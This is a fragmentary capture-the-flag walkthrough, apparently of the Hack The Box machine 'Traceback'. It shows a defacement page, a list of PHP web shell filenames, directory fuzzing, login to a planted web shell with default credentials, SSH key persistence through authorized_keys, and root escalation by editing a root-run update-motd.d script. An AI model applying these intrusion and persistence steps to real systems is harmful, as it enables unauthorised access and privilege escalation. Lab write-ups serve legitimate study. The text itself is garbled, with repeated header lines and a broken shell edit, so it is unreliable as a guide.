(# 0X1 Information Gathering: Present Based On An Original Idea From @imadeyoureadthis
(# 0X1 Information Gathering: Present Based On An Original Idea From @imadeyoureadthis
(# 0X1 Information Gathering: Present Based On An Original Idea From @imadeyoureadthis
Present
SSH
HTTP
<center>
<h1>This site has been owned</h1>
<h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
<h3> - Xh4H - </h3>
<!--Some of the best web shells that you might need ;)-->
</center>
zyx@raidforums:~$ vim w
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punkholic.php
punk-nopass.php
r57.php
smevk.php
wso2.8.5.php
:: Method : GET
:: URL : http://10.10.10.181/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
Go to http://traceback.htb/smevk.php
Credentials can be found in the original github repository previously downloaded: admin:admin
cat smevk.php
<?php
/*
*/
//Make your setting here.
$deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT'; //deface url
here(pastebin).
$UserName = "admin"; //Your UserName here.
$auth_pass = "admin"; //Your Password.
Now it's time to acces to the SSH, so make a key and echo the id_rsa.pub to
/home/webadmin/.ssh/authorized_keys
webadmin@traceback:~$ sudo -l
Matching Defaults entries for webadmin on traceback:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin
sysadmin@traceback:~$ ps -aux
[...]
root 3151 0.0 0.0 4628 828 ? Ss 08:34 0:00 /bin/sh -c
sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
[...]
We can see that a copy is made every 30 seconds from the backup to the /update-motd.d folder
as root .
$ ls -la /etc/update-motd.d/
total 32
drwxr-xr-x 2 root sysadmin 4096 Aug 27 2019 .
drwxr-xr-x 80 root root 4096 Mar 16 03:55 ..
-rwxrwxr-x 1 root sysadmin 981 Mar 30 08:39 00-header
-rwxrwxr-x 1 root sysadmin 982 Mar 30 08:39 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 Mar 30 08:39 50-motd-news
-rwxrwxr-x 1 root sysadmin 604 Mar 30 08:39 80-esm
-rwxrwxr-x 1 root sysadmin 299 Mar 30 08:39 91-release-upgrade
sysadmin@traceback:~$ vi /etc/update-motd.d/00-header
#!/bin/sh
1="/root/root.txt"
echo
cat $1
Thank God!!! vi is available. Now just need to wait 30 sec and connect from another shell.